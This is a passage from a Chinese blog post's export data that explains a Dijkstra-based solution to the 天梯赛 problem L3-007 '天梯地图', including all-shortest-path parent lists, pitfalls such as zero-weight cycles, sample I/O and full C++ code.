set里，但是源节点到该节点的代价与result中的这个节点的路径代价相同，那么这条新的路径就是另一个条到达这个节点的路径。使用一个vector来存储某个节点的parent list——比如vector<int> parent[600] ，则parent[n] 代表的vector就是编号为n的节点的parent list 然后使用dfs去计算所有可能的路径的另外一种代价——比如此题，以时间为权重的最短路径有多条，但是我们还需要计算出这些路径在使用路径长度作为权重时该路径的代价。这一步可以使用记忆化搜索。 需要注意的点不可以这样寻找同代价的不同parent 节点 代码 12345678910111213141516// 参数me是该edge的终点，p是该edge的起点，t出发的源节点到这条edge的终点的代价// 其实edge t就代表了节点mestruct Edge_t { int me; int p; int t; Edge_t(int m, int h, int y) : me(m), p(h), t(y) {} bool operator<(const Edge_t &x) const { return x.t < this->t; }};while (!que.empty()) { Edge_t t = que.top(); que.pop(); while (!que.empty() && que.top().t == t.t && que.top().me == t.me) ...} 可能某Edge h 确实跟pop出来的Edge t是代表的是同一个节点——也就是h.me==t.me ，并且代价相同。但是在堆中，还有同等代价的Edge p，其终点不是t.me ——也就是p.me!=t.me ，然后该Edge p 在堆中的位置处在Edge h 前面，所以上面那个while就没办法获得Edge h 从而无法获取完整的parent list。 另一种情况更为严重——如果某边是0权重，那么就可能出现“把t.me加到result set之后，后面的循环才产生出另一条与src到t.me等代价的路径”——所以当pop出Edge t 后立刻寻找同等代价的路径是不行的，因为该边其实还没有进入到堆里 考虑自循环边 直接判断要求某点A邻接的点不与A相同即可实现 因为有0权重的边，所以可能有0权重环路，所以后面的dfs要注意 dfs递归访问某条路径时要维护已经访问到的节点的列表，确保不重复访问该条路径上已经出现过的点，做法是维护一个visit数组，有点类似回溯法 INF的取值要注意 dfs过程中有可能访问的那条路径无法从src到dest，从而递归到最深的那次dfs的调用会返回INF，如果INF是0xFFFFFFF，加上后面的权重，就会溢出，从而使得INF+weight[i]不再是INF 自己生成数据对拍时 要注意不要生成多重边，网上很多ac的代码都是不支持多重边的 代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239#include <algorithm>#include <cassert>#include <cstdio>#include <cstdlib>#include <cstring>#include <iostream>#include <queue>#include <vector>#define INF 0x3f3f3f3fusing namespace std;struct Node { int index; vector<int> adj;};Node v[600];int length[600][600]; // length[i][j]记录从node i到node j的lengthint TIME[600][600]; // TIME[i][j]记录从node i到node j的用时vector<int> tp[600];// node's parent listint tpResult[600];// 最终的node的parentint BEGIN, END; // 题目输入的天梯队员的起点和要到达的终点int vertexCnt, edgeCnt;int dijstra(int weight[][600]);int DFS(bool isLength);void outp(int f, int index);int main(int argc, char** argv) { int n, m; while (~scanf(\"%d%d\", &n, &m)) { for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { TIME[i][j] = INF; } } for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { length[i][j] = INF; } } for (int i = 0; i < n; i++) { v[i].index = i; v[i].adj.clear(); } for (int i = 0; i < n; i++) { tp[i].clear(); } vertexCnt = n, edgeCnt = m; int v1, v2, one, l, t; for (int i = 0; i < m; i++) { scanf(\"%d%d%d%d%d\", &v1, &v2, &one, &l, &t); v[v1].adj.push_back(v2); // 这样做是为了避免输入多重边——比如说从i到j有多条边，那么我们直接选最小代价的边即可 length[v1][v2] = length[v1][v2] < l ? length[v1][v2] : l; TIME[v1][v2] = TIME[v1][v2] < t ? TIME[v1][v2] : t; if (!one) { v[v2].adj.push_back(v1); length[v2][v1] = length[v2][v1] < l ? length[v2][v1] : l; TIME[v2][v1] = TIME[v2][v1] < t ? TIME[v2][v1] : t; } } scanf(\"%d%d\", &BEGIN, &END); if (BEGIN == END) { cout << \"Time = \" << \"0\" << \"; Distance = \" << \"0\" << \": \"; cout << BEGIN << \" => \" << END << endl; continue; } if (n == 2) { cout << \"Time = \" << TIME[BEGIN][END] << \"; Distance = \" << length[BEGIN][END] << \": \"; cout << BEGIN << \" => \" << END << endl; continue; } int timeEND = dijstra(TIME);// outp(END, 0); DFS(false); vector<int> r1, r2; r1.push_back(END); // 以下这种构造路径的方式是建立在起点不同于终点的情况下 int tmp_tp = tpResult[END]; r1.push_back(tmp_tp); while (tmp_tp != BEGIN) { tmp_tp = tpResult[tmp_tp]; r1.push_back(tmp_tp); } reverse(r1.begin(), r1.end()); for (int i = 0; i < n; i++) { tp[i].clear(); } int lenEND = dijstra(length);// outp(END, 0); DFS(true); r2.push_back(END); tmp_tp = tpResult[END]; r2.push_back(tmp_tp); while (tmp_tp != BEGIN) { tmp_tp = tpResult[tmp_tp]; r2.push_back(tmp_tp); } reverse(r2.begin(), r2.end()); bool isSame = false; if (r1.size() == r2.size()) { isSame = true; for (int i = 0; i < r1.size(); i++) { isSame = (r1[i] == r2[i]) && isSame; } } if (isSame) { cout << \"Time = \" << timeEND << \"; Distance = \" << lenEND << \": \"; for (int i = 0; i < r1.size() - 1; i++) { cout << r1[i] << \" => \"; } cout << r1[r1.size() - 1] << endl; } else { cout << \"Time = \" << timeEND << \": \"; for (int i = 0; i < r1.size() - 1; i++) { cout << r1[i] << \" => \"; } cout << r1[r1.size() - 1] << endl; cout << \"Distance = \" << lenEND << \": \"; for (int i = 0; i < r2.size() - 1; i++) { cout << r2[i] << \" => \"; } cout << r2[r2.size() - 1] << endl; } }}// 参数me是该edge的终点，p是该edge的起点，t出发的源节点到这条edge的终点的代价struct Edge_t { int me; int p; int t; Edge_t(int m, int h, int y) : me(m), p(h), t(y) {} bool operator<(const Edge_t &x) const { return x.t < this->t; }};// bfs+优先队列其实就是dijstra算法// dijstra维护result set，源节点到这个set里的点的最短路径已经被找到// 所以result set只会有node被加进去而不会有node被踢出去// 不同于算法导论描述的dijstra算法——算导里的堆是点的堆，int dijstra(int weight[][600]) { int resWei[600]; priority_queue<Edge_t> que; que.push(Edge_t(BEGIN, 0, 0));// 后面用到了t.t+weight[t.me][adj[i]]，所以这里必须要取0 int cnt = 0; bool visit[vertexCnt]; // 记录某点是否已经加入到dijstra的result set里 memset(visit, 0, sizeof(visit) * sizeof(bool)); while (!que.empty()) { Edge_t t = que.top(); que.pop(); // 因为这是Edge的堆，可能会有一些边pop出来时，其终点已经在result set里 if (visit[t.me]) { assert(resWei[t.me] <= t.t); if (resWei[t.me] == t.t) { tp[t.me].push_back(t.p); } continue; } visit[t.me] = true; tp[t.me].push_back(t.p); resWei[t.me] = t.t; const vector<int> &adj = v[t.me].adj; int al = adj.size(); for (int i = 0; i < al; i++) { if (adj[i] == t.me) continue; que.push(Edge_t(adj[i], t.me, t.t + weight[t.me][adj[i]])); } } return resWei[END];}int dp[600];bool dpVisit[600];static int __dfs(int f, bool isLength);int DFS(bool isLength) { memset(dp, 0xff, sizeof(dp)); memset(tpResult, 0, sizeof(tpResult)); memset(dpVisit, 0, sizeof(dpVisit)); return __dfs(END, isLength);}static int __dfs(int f, bool isLength) { if (dp[f] > -1) { return dp[f]; } if (f == BEGIN) { return 0; } const vector<int> &t = tp[f]; int result = INF; for (int i = 0; i < t.size(); i++) { if(t[i]==f) continue; if (dpVisit[t[i]]) // 代表该节点在这条路径上已经被访问过 continue; dpVisit[f] = true; int p = __dfs(t[i], isLength) + (isLength ? 1 : length[t[i]][f]); dpVisit[f] = false; if (p < result) { tpResult[f] = t[i]; result = p; } } dp[f] = result; return result;}int path[600];bool outpVisit[600];void outp(int f, int index) { outpVisit[f] = true; if (f == BEGIN) { cout << \"outp: \"; for (int i = 0; i < index; i++) { cout << path[i] << \" \"; } cout << endl; outpVisit[f] = true; return; } path[index] = f; const vector<int> &t = tp[f]; for (int i = 0; i < t.size(); i++) { if (outpVisit[t[i]])// means that 前辈们已经访问过了，再访问就成环了 continue; outp(t[i], index + 1); } outpVisit[f] = false; return;}","raw":"---\ntitle: 天梯L3 007 天梯地图\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-05-13 15:10:04\ntags:\n- Dijstra最短路\n- 天梯赛\ndescription: Dijstra最短路变形\ncategories:\n- 算法\n---\n\n## 题目\n\n{% asset_img 1.png %}\n\n#### 输入示例一\n\n```\n10 15\n0 1 0 1 1\n8 0 0 1 1\n4 8 1 1 1\n5 4 0 2 3\n5 9 1 1 4\n0 6 0 1 1\n7 3 1 1 2\n8 3 1 1 2\n2 5 0 2 2\n2 1 1 1 1\n1 5 0 1 3\n1 4 0 1 1\n9 7 1 1 3\n3 1 0 2 5\n6 3 1 2 1\n5 3\n```\n\n#### 输出示例一\n\n```\nTime = 6: 5 => 4 => 8 => 3\nDistance = 3: 5 => 1 => 3\n```\n\n#### 输入示例二\n\n```\n7 9\n0 4 1 1 1\n1 6 1 3 1\n2 6 1 1 1\n2 5 1 2 2\n3 0 0 1 1\n3 1 1 3 1\n3 2 1 2 1\n4 5 0 2 2\n6 5 1 2 1\n3 5\n```\n\n#### 输出示例二\n\n```\nTime = 3; Distance = 4: 3 => 2 => 5\n```\n\n## Dijstra算法\n\n- bfs+优先队列其实就是dijstra算法\n- dijstra维护result set，源节点到这个set里的点的最短路径已经找到，所以result set只会有node被加进去而不会有node被踢出去\n- 不同于算法导论描述的dijstra算法——算导里的堆是点的堆，所以当发现有新的路径可以以更小的代价到达某点时（该点之前已经在堆里），会使用堆decrease key操作——把这个点的权值减低，并且调整堆使得堆合法。但是stl的优先队列并没有decrease key的操作，所以使用另一种实现——允许某点多次加入到优先队列里——其实就等价于优先队列里放Edge。所以在从优先队列里pop出最小权的点时，要判断该点是否已经处于result set里。这样做会使得复杂度从$O((E+V)lgV)$ 变为$O(ElgE)$ \n\n## Dijstra找出所有最短路径\n\n- 从src到dest的路径上的某些节点有多种到达方法——这就导致了多条路径。所以我们要维护所有节点的parent list——无论从哪个parent 到这个节点都是最短的。\n- 具体实现是：从优先队列其pop出某节点，该节点已经处于result set里，但是源节点到该节点的代价与result中的这个节点的路径代价相同，那么这条新的路径就是另一个条到达这个节点的路径。使用一个vector来存储某个节点的parent list——比如`vector<int> parent[600]` ，则`parent[n]` 代表的vector就是编号为n的节点的parent list\n- 然后使用dfs去计算所有可能的路径的另外一种代价——比如此题，以时间为权重的最短路径有多条，但是我们还需要计算出这些路径在使用路径长度作为权重时该路径的代价。这一步可以使用记忆化搜索。\n\n## 需要注意的点\n\n#### 不可以这样寻找同代价的不同parent 节点\n\n- 代码\n\n ```cpp\n // 参数me是该edge的终点，p是该edge的起点，t出发的源节点到这条edge的终点的代价\n // 其实edge t就代表了节点me\n struct Edge_t {\n int me;\n int p;\n int t;\n Edge_t(int m, int h, int y) : me(m), p(h), t(y) {} \n bool operator<(const Edge_t &x) const { return x.t < this->t; }\n };\n\n while (!que.empty()) {\n Edge_t t = que.top();\n que.pop();\n while (!que.empty() && que.top().t == t.t && que.top().me == t.me)\n ...\n }\n ```\n\n- 可能某`Edge h` 确实跟pop出来的`Edge t`是代表的是同一个节点——也就是`h.me==t.me` ，并且代价相同。但是在堆中，还有同等代价的`Edge p`，其终点不是`t.me` ——也就是`p.me!=t.me` ，然后该`Edge p` 在堆中的位置处在`Edge h` 前面，所以上面那个while就没办法获得`Edge h` 从而无法获取完整的parent list。\n\n- 另一种情况更为严重——如果某边是0权重，那么就可能出现“把t.me加到result set之后，后面的循环才产生出另一条与src到t.me等代价的路径”——所以当pop出`Edge t` 后立刻寻找同等代价的路径是不行的，因为该边其实还没有进入到堆里\n\n#### 考虑自循环边\n\n- 直接判断要求某点A邻接的点不与A相同即可实现\n\n#### 因为有0权重的边，所以可能有0权重环路，所以后面的dfs要注意\n\n- dfs递归访问某条路径时要维护已经访问到的节点的列表，确保不重复访问该条路径上已经出现过的点，做法是维护一个visit数组，有点类似回溯法\n\n#### INF的取值要注意\n\n- dfs过程中有可能访问的那条路径无法从src到dest，从而递归到最深的那次dfs的调用会返回INF，如果INF是0xFFFFFFF，加上后面的权重，就会溢出，从而使得`INF+weight[i]`不再是INF\n\n#### 自己生成数据对拍时\n\n- 要注意不要生成多重边，网上很多ac的代码都是不支持多重边的\n\n## 代码\n\n```cpp\n#include <algorithm>\n#include <cassert>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <iostream>\n#include <queue>\n#include <vector>\n#define INF 0x3f3f3f3f\n\nusing namespace std;\nstruct Node {\n int index;\n vector<int> adj;\n};\nNode v[600];\nint length[600][600]; // length[i][j]记录从node i到node j的length\nint TIME[600][600]; // TIME[i][j]记录从node i到node j的用时\nvector<int> tp[600];// node's parent list\nint tpResult[600];// 最终的node的parent\n\nint BEGIN, END; // 题目输入的天梯队员的起点和要到达的终点\nint vertexCnt, edgeCnt;\n\nint dijstra(int weight[][600]);\nint DFS(bool isLength);\nvoid outp(int f, int index);\n\nint main(int argc, char** argv) {\n int n, m;\n while (~scanf(\"%d%d\", &n, &m)) {\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n TIME[i][j] = INF;\n }\n }\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n length[i][j] = INF;\n }\n }\n for (int i = 0; i < n; i++) {\n v[i].index = i;\n v[i].adj.clear();\n }\n for (int i = 0; i < n; i++) {\n tp[i].clear();\n }\n\n vertexCnt = n, edgeCnt = m;\n int v1, v2, one, l, t;\n for (int i = 0; i < m; i++) {\n scanf(\"%d%d%d%d%d\", &v1, &v2, &one, &l, &t);\n v[v1].adj.push_back(v2);\n // 这样做是为了避免输入多重边——比如说从i到j有多条边，那么我们直接选最小代价的边即可\n length[v1][v2] = length[v1][v2] < l ? length[v1][v2] : l;\n TIME[v1][v2] = TIME[v1][v2] < t ? TIME[v1][v2] : t;\n if (!one) {\n v[v2].adj.push_back(v1);\n length[v2][v1] = length[v2][v1] < l ? length[v2][v1] : l;\n TIME[v2][v1] = TIME[v2][v1] < t ? TIME[v2][v1] : t;\n }\n }\n scanf(\"%d%d\", &BEGIN, &END);\n if (BEGIN == END) {\n cout << \"Time = \"\n << \"0\"\n << \"; Distance = \"\n << \"0\"\n << \": \";\n cout << BEGIN << \" => \" << END << endl;\n continue;\n }\n if (n == 2) {\n cout << \"Time = \" << TIME[BEGIN][END] << \"; Distance = \" << length[BEGIN][END] << \": \";\n cout << BEGIN << \" => \" << END << endl;\n continue;\n }\n\n int timeEND = dijstra(TIME);\n// outp(END, 0);\n DFS(false);\n vector<int> r1, r2;\n r1.push_back(END);\n // 以下这种构造路径的方式是建立在起点不同于终点的情况下\n int tmp_tp = tpResult[END];\n r1.push_back(tmp_tp);\n while (tmp_tp != BEGIN) {\n tmp_tp = tpResult[tmp_tp];\n r1.push_back(tmp_tp);\n }\n reverse(r1.begin(), r1.end());\n\n for (int i = 0; i < n; i++) {\n tp[i].clear();\n }\n int lenEND = dijstra(length);\n// outp(END, 0);\n DFS(true);\n r2.push_back(END);\n tmp_tp = tpResult[END];\n r2.push_back(tmp_tp);\n while (tmp_tp != BEGIN) {\n tmp_tp = tpResult[tmp_tp];\n r2.push_back(tmp_tp);\n }\n reverse(r2.begin(), r2.end());\n\n bool isSame = false;\n if (r1.size() == r2.size()) {\n isSame = true;\n for (int i = 0; i < r1.size(); i++) {\n isSame = (r1[i] == r2[i]) && isSame;\n }\n }\n if (isSame) {\n cout << \"Time = \" << timeEND << \"; Distance = \" << lenEND << \": \";\n for (int i = 0; i < r1.size() - 1; i++) {\n cout << r1[i] << \" => \";\n }\n cout << r1[r1.size() - 1] << endl;\n } else {\n cout << \"Time = \" << timeEND << \": \";\n for (int i = 0; i < r1.size() - 1; i++) {\n cout << r1[i] << \" => \";\n }\n cout << r1[r1.size() - 1] << endl;\n cout << \"Distance = \" << lenEND << \": \";\n for (int i = 0; i < r2.size() - 1; i++) {\n cout << r2[i] << \" => \";\n }\n cout << r2[r2.size() - 1] << endl;\n }\n }\n}\n\n// 参数me是该edge的终点，p是该edge的起点，t出发的源节点到这条edge的终点的代价\nstruct Edge_t {\n int me;\n int p;\n int t;\n Edge_t(int m, int h, int y) : me(m), p(h), t(y) {} \n bool operator<(const Edge_t &x) const { return x.t < this->t; }\n};\n\n// bfs+优先队列其实就是dijstra算法\n// dijstra维护result set，源节点到这个set里的点的最短路径已经被找到\n// 所以result set只会有node被加进去而不会有node被踢出去\n// 不同于算法导论描述的dijstra算法——算导里的堆是点的堆，\nint dijstra(int weight[][600]) {\n int resWei[600];\n priority_queue<Edge_t> que;\n que.push(Edge_t(BEGIN, 0, 0));// 后面用到了t.t+weight[t.me][adj[i]]，所以这里必须要取0\n int cnt = 0;\n bool visit[vertexCnt]; // 记录某点是否已经加入到dijstra的result set里\n memset(visit, 0, sizeof(visit) * sizeof(bool));\n while (!que.empty()) {\n Edge_t t = que.top();\n que.pop();\n // 因为这是Edge的堆，可能会有一些边pop出来时，其终点已经在result set里\n if (visit[t.me]) {\n assert(resWei[t.me] <= t.t);\n if (resWei[t.me] == t.t) {\n tp[t.me].push_back(t.p);\n }\n continue;\n }\n visit[t.me] = true;\n tp[t.me].push_back(t.p);\n resWei[t.me] = t.t;\n const vector<int> &adj = v[t.me].adj;\n int al = adj.size();\n for (int i = 0; i < al; i++) {\n if (adj[i] == t.me)\n continue;\n que.push(Edge_t(adj[i], t.me, t.t + weight[t.me][adj[i]]));\n }\n }\n return resWei[END];\n}\n\nint dp[600];\nbool dpVisit[600];\nstatic int __dfs(int f, bool isLength);\nint DFS(bool isLength) {\n memset(dp, 0xff, sizeof(dp));\n memset(tpResult, 0, sizeof(tpResult));\n memset(dpVisit, 0, sizeof(dpVisit));\n return __dfs(END, isLength);\n}\nstatic int __dfs(int f, bool isLength) {\n if (dp[f] > -1) {\n return dp[f];\n }\n if (f == BEGIN) {\n return 0;\n }\n const vector<int> &t = tp[f];\n int result = INF;\n for (int i = 0; i < t.size(); i++) {\n if(t[i]==f)\n continue;\n if (dpVisit[t[i]]) // 代表该节点在这条路径上已经被访问过\n continue;\n dpVisit[f] = true;\n int p = __dfs(t[i], isLength) + (isLength ? 1 : length[t[i]][f]);\n dpVisit[f] = false;\n if (p < result) {\n tpResult[f] = t[i];\n result = p;\n }\n }\n dp[f] = result;\n return result;\n}\n\nint path[600];\nbool outpVisit[600];\nvoid outp(int f, int index) {\n outpVisit[f] = true;\n if (f == BEGIN) {\n cout << \"outp: \";\n for (int i = 0; i < index; i++) {\n cout << path[i] << \" \";\n }\n cout << endl;\n outpVisit[f] = true;\n return;\n }\n path[index] = f;\n const vector<int> &t = tp[f];\n for (int i = 0; i < t.size(); i++) {\n if (outpVisit[t[i]])// means that 前辈们已经访问过了，再访问就成环了\n continue;\n outp(t[i], index + 1);\n }\n outpVisit[f] = false;\n return;\n}\n```","content":"<h2 id=\"题目\"><a href=\"#题目\" class=\"headerlink\" title=\"题目\"></a>题目</h2><img src=\"/2018/05/13/天梯L3-007-天梯地图/1.png\">\n<h4 id=\"输入示例一\"><a href=\"#输入示例一\" class=\"headerlink\" title=\"输入示例一\"></a>输入示例一</h4><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">10 15</span><br><span class=\"line\">0 1 0 1 1</span><br><span class=\"line\">8 0 0 1 1</span><br><span class=\"line\">4 8 1 1 1</span><br><span class=\"line\">5 4 0 2 3</span><br><span class=\"line\">5 9 1 1 4</span><br><span class=\"line\">0 6 0 1 1</span><br><span class=\"line\">7 3 1 1 2</span><br><span class=\"line\">8 3 1 1 2</span><br><span class=\"line\">2 5 0 2 2</span><br><span class=\"line\">2 1 1 1 1</span><br><span class=\"line\">1 5 0 1 3</span><br><span class=\"line\">1 4 0 1 1</span><br><span class=\"line\">9 7 1 1 3</span><br><span class=\"line\">3 1 0 2 5</span><br><span class=\"line\">6 3 1 2 1</span><br><span class=\"line\">5 3</span><br></pre></td></tr></table></figure>\n<h4 id=\"输出示例一\"><a href=\"#输出示例一\" class=\"headerlink\" title=\"输出示例一\"></a>输出示例一</h4><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">Time = 6: 5 => 4 => 8 => 3</span><br><span class=\"line\">Distance = 3: 5 => 1 => 3</span><br></pre></td></tr></table></figure>\n<h4 id=\"输入示例二\"><a href=\"#输入示例二\" class=\"headerlink\" title=\"输入示例二\"></a>输入示例二</h4><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">7 9</span><br><span class=\"line\">0 4 1 1 1</span><br><span class=\"line\">1 6 1 3 1</span><br><span class=\"line\">2 6 1 1 1</span><br><span class=\"line\">2 5 1 2 2</span><br><span class=\"line\">3 0 0 1 1</span><br><span class=\"line\">3 1 1 3 1</span><br><span class=\"line\">3 2 1 2 1</span><br><span class=\"line\">4 5 0 2 2</span><br><span class=\"line\">6 5 1 2 1</span><br><span class=\"line\">3 5</span><br></pre></td></tr></table></figure>\n<h4 id=\"输出示例二\"><a href=\"#输出示例二\" class=\"headerlink\" title=\"输出示例二\"></a>输出示例二</h4><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">Time = 3; Distance = 4: 3 => 2 => 5</span><br></pre></td></tr></table></figure>\n<h2 id=\"Dijstra算法\"><a href=\"#Dijstra算法\" class=\"headerlink\" title=\"Dijstra算法\"></a>Dijstra算法</h2><ul>\n<li>bfs+优先队列其实就是dijstra算法</li>\n<li>dijstra维护result set，源节点到这个set里的点的最短路径已经找到，所以result set只会有node被加进去而不会有node被踢出去</li>\n<li>不同于算法导论描述的dijstra算法——算导里的堆是点的堆，所以当发现有新的路径可以以更小的代价到达某点时（该点之前已经在堆里），会使用堆decrease key操作——把这个点的权值减低，并且调整堆使得堆合法。但是stl的优先队列并没有decrease key的操作，所以使用另一种实现——允许某点多次加入到优先队列里——其实就等价于优先队列里放Edge。所以在从优先队列里pop出最小权的点时，要判断该点是否已经处于result set里。这样做会使得复杂度从$O((E+V)lgV)$ 变为$O(ElgE)$ </li>\n</ul>\n<h2 id=\"Dijstra找出所有最短路径\"><a href=\"#Dijstra找出所有最短路径\" class=\"headerlink\" title=\"Dijstra找出所有最短路径\"></a>Dijstra找出所有最短路径</h2><ul>\n<li>从src到dest的路径上的某些节点有多种到达方法——这就导致了多条路径。所以我们要维护所有节点的parent list——无论从哪个parent 到这个节点都是最短的。</li>\n<li>具体实现是：从优先队列其pop出某节点，该节点已经处于result set里，但是源节点到该节点的代价与result中的这个节点的路径代价相同，那么这条新的路径就是另一个条到达这个节点的路径。使用一个vector来存储某个节点的parent list——比如<code>vector<int> parent[600]</code> ，则<code>parent[n]</code> 代表的vector就是编号为n的节点的parent list</li>\n<li>然后使用dfs去计算所有可能的路径的另外一种代价——比如此题，以时间为权重的最短路径有多条，但是我们还需要计算出这些路径在使用路径长度作为权重时该路径的代价。这一步可以使用记忆化搜索。</li>\n</ul>\n<h2 id=\"需要注意的点\"><a href=\"#需要注意的点\" class=\"headerlink\" title=\"需要注意的点\"></a>需要注意的点</h2><h4 id=\"不可以这样寻找同代价的不同parent-节点\"><a href=\"#不可以这样寻找同代价的不同parent-节点\" class=\"headerlink\" title=\"不可以这样寻找同代价的不同parent 节点\"></a>不可以这样寻找同代价的不同parent 节点</h4><ul>\n<li><p>代码</p>\n<figure class=\"highlight cpp\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">// 参数me是该edge的终点，p是该edge的起点，t出发的源节点到这条edge的终点的代价</span></span><br><span class=\"line\"><span class=\"comment\">// 其实edge t就代表了节点me</span></span><br><span class=\"line\"><span class=\"class\"><span class=\"keyword\">struct</span> <span class=\"title\">Edge_t</span> {</span></span><br><span class=\"line\"> <span class=\"keyword\">int</span> me;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> p;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> t;</span><br><span class=\"line\"> Edge_t(<span class=\"keyword\">int</span> m, <span class=\"keyword\">int</span> h, <span class=\"keyword\">int</span> y) : me(m), p(h), t(y) {} </span><br><span class=\"line\"> <span class=\"keyword\">bool</span> <span class=\"keyword\">operator</span><(<span class=\"keyword\">const</span> Edge_t &x) <span class=\"keyword\">const</span> { <span class=\"keyword\">return</span> x.t < <span class=\"keyword\">this</span>->t; }</span><br><span class=\"line\">};</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"keyword\">while</span> (!que.empty()) {</span><br><span class=\"line\"> Edge_t t = que.top();</span><br><span class=\"line\"> que.pop();</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (!que.empty() && que.top().t == t.t && que.top().me == t.me)</span><br><span class=\"line\"> ...</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>可能某<code>Edge h</code> 确实跟pop出来的<code>Edge t</code>是代表的是同一个节点——也就是<code>h.me==t.me</code> ，并且代价相同。但是在堆中，还有同等代价的<code>Edge p</code>，其终点不是<code>t.me</code> ——也就是<code>p.me!=t.me</code> ，然后该<code>Edge p</code> 在堆中的位置处在<code>Edge h</code> 前面，所以上面那个while就没办法获得<code>Edge h</code> 从而无法获取完整的parent list。</p>\n</li>\n<li><p>另一种情况更为严重——如果某边是0权重，那么就可能出现“把t.me加到result set之后，后面的循环才产生出另一条与src到t.me等代价的路径”——所以当pop出<code>Edge t</code> 后立刻寻找同等代价的路径是不行的，因为该边其实还没有进入到堆里</p>\n</li>\n</ul>\n<h4 id=\"考虑自循环边\"><a href=\"#考虑自循环边\" class=\"headerlink\" title=\"考虑自循环边\"></a>考虑自循环边</h4><ul>\n<li>直接判断要求某点A邻接的点不与A相同即可实现</li>\n</ul>\n<h4 id=\"因为有0权重的边，所以可能有0权重环路，所以后面的dfs要注意\"><a href=\"#因为有0权重的边，所以可能有0权重环路，所以后面的dfs要注意\" class=\"headerlink\" title=\"因为有0权重的边，所以可能有0权重环路，所以后面的dfs要注意\"></a>因为有0权重的边，所以可能有0权重环路，所以后面的dfs要注意</h4><ul>\n<li>dfs递归访问某条路径时要维护已经访问到的节点的列表，确保不重复访问该条路径上已经出现过的点，做法是维护一个visit数组，有点类似回溯法</li>\n</ul>\n<h4 id=\"INF的取值要注意\"><a href=\"#INF的取值要注意\" class=\"headerlink\" title=\"INF的取值要注意\"></a>INF的取值要注意</h4><ul>\n<li>dfs过程中有可能访问的那条路径无法从src到dest，从而递归到最深的那次dfs的调用会返回INF，如果INF是0xFFFFFFF，加上后面的权重，就会溢出，从而使得<code>INF+weight[i]</code>不再是INF</li>\n</ul>\n<h4 id=\"自己生成数据对拍时\"><a href=\"#自己生成数据对拍时\" class=\"headerlink\" title=\"自己生成数据对拍时\"></a>自己生成数据对拍时</h4><ul>\n<li>要注意不要生成多重边，网上很多ac的代码都是不支持多重边的</li>\n</ul>\n<h2 id=\"代码\"><a href=\"#代码\" class=\"headerlink\" title=\"代码\"></a>代码</h2><figure class=\"highlight cpp\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br><span class=\"line\">32</span><br><span class=\"line\">33</span><br><span class=\"line\">34</span><br><span class=\"line\">35</span><br><span class=\"line\">36</span><br><span class=\"line\">37</span><br><span class=\"line\">38</span><br><span class=\"line\">39</span><br><span class=\"line\">40</span><br><span class=\"line\">41</span><br><span class=\"line\">42</span><br><span class=\"line\">43</span><br><span class=\"line\">44</span><br><span class=\"line\">45</span><br><span class=\"line\">46</span><br><span class=\"line\">47</span><br><span class=\"line\">48</span><br><span 